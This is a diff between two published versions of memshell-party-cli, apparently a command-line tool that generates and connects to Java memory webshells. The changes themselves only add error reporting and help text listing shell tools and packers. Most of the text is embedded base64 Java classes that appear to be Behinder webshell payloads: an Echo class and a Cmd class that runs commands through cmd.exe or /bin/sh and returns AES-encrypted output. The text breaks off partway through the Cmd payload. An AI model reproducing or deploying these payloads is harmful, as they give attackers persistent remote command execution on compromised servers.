memshell-party-cli 0.3.1 → 0.3.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  // src/cli.ts
4
- import { Command as Command7 } from "commander";
4
+ import { Command as Command9, CommanderError as CommanderError2 } from "commander";
5
5
 
6
6
  // src/api/client.ts
7
7
  var ApiError = class extends Error {
@@ -156,6 +156,15 @@ function logInfo(msg) {
156
156
  process.stderr.write(`${msg}
157
157
  `);
158
158
  }
159
+ function reportError(message, argv) {
160
+ if (argv.includes("--json")) {
161
+ process.stdout.write(`${JSON.stringify({ ok: false, error: message })}
162
+ `);
163
+ } else {
164
+ process.stderr.write(`Error: ${message}
165
+ `);
166
+ }
167
+ }
159
168
 
160
169
  // src/commands/config.ts
161
170
  function printJsonOrLines(data, json, renderLines) {
@@ -168,7 +177,16 @@ function printJsonOrLines(data, json, renderLines) {
168
177
  }
169
178
  }
170
179
  function registerConfigCommand(program) {
171
- const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers");
180
+ const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers").addHelpText(
181
+ "after",
182
+ `
183
+ Examples:
184
+ $ memparty config servers # servers + their shell types (values for gen -s)
185
+ $ memparty config tools Tomcat # tools available on one server (values for gen -t)
186
+ $ memparty config packers # packer tree (values for gen -p)
187
+ $ memparty config command # Command-tool encryptors and impl classes
188
+ `
189
+ );
172
190
  config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
173
191
  const client = createClient(cmd.optsWithGlobals());
174
192
  const servers = await client.getServers();
@@ -218,9 +236,11 @@ import { Option } from "commander";
218
236
  // src/connect/assets.ts
219
237
  var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB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";
220
238
  var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAAAAACAIIAgAAAAAkAAQCDAIQAAQCFAAAALwABAAEAAAAFKrcAAbEAAAACAIYAAAAGAAEAAAAOAIcAAAAMAAEAAAAFAIgAiQAAAAEAigCLAAEAhQAAA2EACQAIAAABzrsAAlm3AANNKiu3AAQsEgUqsgAGtwAHuQAIAwBXLBIJsgAKuQAIAwBXKrQAC7YADBINA70ADrYADyq0AAsDvQAQtgARTi22AAwSEgS9AA5ZAxITU7YADzoEGQQtBL0AEFkDKiosBLcAFBIVtgAWtwAXU7YAEVcttgAMEhgDvQAOtgAPLQO9ABC2ABFXLbYADBIZA70ADrYADy0DvQAQtgARV6cBKk6nASZOLBIFLbYAG7kACAMAVywSCRIcuQAIAwBXKrQAC7YADBINA7